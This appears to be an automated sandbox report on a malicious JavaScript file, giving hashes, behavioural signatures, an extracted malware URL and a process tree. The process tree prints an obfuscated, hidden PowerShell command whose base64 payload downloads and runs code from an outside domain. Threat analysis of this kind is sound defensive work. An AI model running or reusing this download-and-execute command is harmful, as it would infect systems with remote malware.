Analysis
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max time kernel
21s -
max time network
48s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
19-09-2022 08:20
Static task
static1
Behavioral task
behavioral1
Sample
0be62b1ccacefae5561af9248f0c11db.js
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
0be62b1ccacefae5561af9248f0c11db.js
Resource
win10v2004-20220812-en
General
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Target
0be62b1ccacefae5561af9248f0c11db.js
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Size
286KB
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MD5
0be62b1ccacefae5561af9248f0c11db
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SHA1
4c34672f7dffc832b45c4ee83f71fc715b33cefa
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SHA256
c2b758e7f617497e86e881bdbe78ea1c399c6316311adf45b4d1ea8d7c74a945
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SHA512
7d0cb616f19871f84c28c5cc8124d7a00b09192193d516b0f3981c3ec1bb3b2f478f8d7bd7570d4327c316325951e2a350bdddfc5e3af21c769ba001ae85d1d5
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SSDEEP
3072:qrjVJySRCL1ddImO3NwSa0wQwRCijyQL7oebGpTLW+B57wtH:qASkdIn9lpQL7oebGRLQH
Malware Config
Extracted
https://freedompublishingbooks.com.au/index/
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 4 956 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 956 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 956 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2044 wrote to memory of 2032 2044 wscript.exe 27 PID 2044 wrote to memory of 2032 2044 wscript.exe 27 PID 2044 wrote to memory of 2032 2044 wscript.exe 27 PID 2032 wrote to memory of 956 2032 cmd.exe 29 PID 2032 wrote to memory of 956 2032 cmd.exe 29 PID 2032 wrote to memory of 956 2032 cmd.exe 29
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\0be62b1ccacefae5561af9248f0c11db.js1⤵
- Suspicious use of WriteProcessMemory
PID:2044 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c pOwErShElL -NoP -w hIDdeN -eP BYPAsS -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBmAHIAZQBlAGQAbwBtAHAAdQBiAGwAaQBzAGgAaQBuAGcAYgBvAG8AawBzAC4AYwBvAG0ALgBhAHUALwBpAG4AZABlAHgALwAiACkA2⤵
- Suspicious use of WriteProcessMemory
PID:2032 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepOwErShElL -NoP -w hIDdeN -eP BYPAsS -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBmAHIAZQBlAGQAbwBtAHAAdQBiAGwAaQBzAGgAaQBuAGcAYgBvAG8AawBzAC4AYwBvAG0ALgBhAHUALwBpAG4AZABlAHgALwAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:956
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